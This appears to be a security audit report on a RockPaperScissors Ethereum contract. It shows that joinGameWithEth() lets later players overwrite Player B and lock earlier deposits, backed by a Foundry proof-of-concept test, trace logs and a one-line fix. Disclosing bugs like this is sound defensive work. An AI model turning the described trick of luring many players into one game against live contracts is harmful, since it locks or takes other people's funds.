Summary
The RockPaperScissors smart contract contains a critical vulnerability in the joinGameWithEth() function that allows multiple players to join the same game as "Player B." This breaks the core two-player game design and permanently locks any ETH deposited by additional players in the contract with no retrieval mechanism. This vulnerability occurs because the function does not verify whether a Player B has already joined the game before accepting new join requests.
Vulnerability Details
In the joinGameWithEth() function, there is no check to verify if a Player B has already been assigned to the game:
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
When a new player joins as Player B, the previous Player B's address is simply overwritten. However, the ETH deposited by the previous Player B remains in the contract. The issue is compounded by:
The contract lacks any function for players to claim back their ETH if they are replaced
The contract's game state transition design assumes only one Player B throughout the entire game
Tests confirm this vulnerability, showing a game's Player B can be replaced and ETH from all players accumulates in the contract
As demonstrated in the test log provided:
Proof of Concepts
function testMultipleEthJoinBug() public {
uint256 playerABal = playerA.balance;
uint256 playerBbal = playerB.balance;
uint256 contractBal = address(game).balance;
console.log("player a bal", playerABal);
console.log("player b bal", playerBbal);
console.log("contractBal bal", contractBal);
vm.startPrank(playerA);
vm.expectEmit(true, true, false, true);
emit GameCreated(0, playerA, BET_AMOUNT, TOTAL_TURNS);
gameId = game.createGameWithEth{value: BET_AMOUNT}(
TOTAL_TURNS,
TIMEOUT
);
vm.stopPrank();
vm.prank(playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
console.log("contractBal bal after userb joined", address(game).balance);
console.log("address of player b: ", playerB);
vm.prank(admin);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
console.log("contractBal bal after userb joined", address(game).balance);
console.log("address of Admin: ", admin);
(
address player1,
address player2,
,
,
uint256 revealDeadline,
uint256 creationTime,
uint256 joinDeadline,
uint256 totalTurns,
uint256 currentTurn,
,
,
RockPaperScissors.Move moveA,
RockPaperScissors.Move moveB,
uint8 scoreA,
uint8 scoreB,
RockPaperScissors.GameState state
) = game.games(gameId);
assertEq(player2, admin);
assertEq(address(game).balance, BET_AMOUNT * 3);
}
Result
[PASS] testMultipleEthJoinBug() (gas: 278809)
Logs:
player a bal 10000000000000000000
player b bal 10000000000000000000
contractBal bal 0
contractBal bal after userb joined 200000000000000000
address of player b: 0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1
contractBal bal after userb joined 300000000000000000
address of Admin: 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
Traces:
[278809] RockPaperScissorsTest::testMultipleEthJoinBug()
├─ [0] console::log("player a bal", 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("player b bal", 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("contractBal bal", 0) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::startPrank(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF])
│ └─ ← [Return]
├─ [0] VM::expectEmit(true, true, false, true)
│ └─ ← [Return]
├─ emit GameCreated(gameId: 0, creator: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], bet: 100000000000000000 [1e17], totalTurns: 3)
├─ [184325] RockPaperScissors::createGameWithEth{value: 100000000000000000}(3, 600)
│ ├─ emit GameCreated(gameId: 0, creator: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], bet: 100000000000000000 [1e17], totalTurns: 3)
│ └─ ← [Return] 0
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::prank(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [24919] RockPaperScissors::joinGameWithEth{value: 100000000000000000}(0)
│ ├─ emit PlayerJoined(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [0] console::log("contractBal bal after userb joined", 200000000000000000 [2e17]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("address of player b: ", playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::prank(RockPaperScissorsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ └─ ← [Return]
├─ [3019] RockPaperScissors::joinGameWithEth{value: 100000000000000000}(0)
│ ├─ emit PlayerJoined(gameId: 0, player: RockPaperScissorsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ └─ ← [Return]
├─ [0] console::log("contractBal bal after userb joined", 300000000000000000 [3e17]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("address of Admin: ", RockPaperScissorsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
│ └─ ← [Stop]
├─ [8060] RockPaperScissors::games(0) [staticcall]
│ └─ ← [Return] playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], RockPaperScissorsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 100000000000000000 [1e17], 600, 0, 1, 86401 [8.64e4], 3, 1, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000000, 0, 0, 0, 0, 0
├─ [0] VM::assertEq(RockPaperScissorsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], RockPaperScissorsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(300000000000000000 [3e17], 300000000000000000 [3e17]) [staticcall]
│ └─ ← [Return]
└─ ← [Return]
Impact
The impact of this vulnerability is critical:
Permanent Fund Loss: Any player who joins as Player B and is subsequently replaced loses their ETH permanently
Game Integrity Compromise: The game is designed for exactly two players, but this vulnerability breaks that assumption
Scalable Attack Vector: An attacker could trick many users into joining the same game, resulting in significant ETH being locked
No Recovery Mechanism: There is no way for replaced players or even the contract admin to recover locked funds
Contract Balance Inflation: The contract balance grows with each replaced Player B, creating a discrepancy between expected and actual contract balance
This vulnerability could be used for intentional theft by creating a game and getting multiple players to join it, effectively collecting ETH in the contract with no intention of completing the game.
Tools Used
Recommendations
Add a check to prevent joining if Player B already exists:
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
require(game.playerB == address(0), "Game already has a second player");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
